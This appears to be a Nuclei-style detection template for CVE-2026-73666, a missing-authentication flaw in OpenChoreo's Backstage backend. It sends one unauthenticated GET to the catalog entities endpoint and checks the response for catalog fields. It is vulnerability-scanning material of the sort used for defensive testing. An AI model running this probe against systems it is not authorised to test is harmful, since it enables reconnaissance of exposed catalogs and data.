id: CVE-2026-73666

info:
  name: "OpenChoreo - Unauthenticated Backstage Catalog API Access"
  author: vedas-arpsyndicate
  severity: high
  description: |
    OpenChoreo before 1.0.4, 1.1.4 and 1.2.1 ships a Backstage backend that hardcodes
    backend.auth.dangerouslyDisableDefaultAuthPolicy and the guest provider's
    dangerouslyAllowOutsideDevelopment to true, exposing /api/* without authentication. An
    unauthenticated attacker can read the software catalog, scaffolder logs and create or delete
    catalog locations. This template confirms the flaw non-destructively by reading the Backstage
    catalog entities endpoint without any credentials.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2026-73666&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=openchoreo&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N
    cvss-score: 8.2
    cve-id: CVE-2026-73666
    cwe-id: CWE-306
  metadata:
    verified: false
    max-request: 1
  tags: cve,cve2026,openchoreo,backstage,missing-auth,unauth

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/catalog/entities"
    headers:
      Accept: application/json
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "apiVersion"
          - "metadata"
          - "relations"
        condition: and
      - type: word
        part: header
        words:
          - "application/json"
      - type: status
        status:
          - 200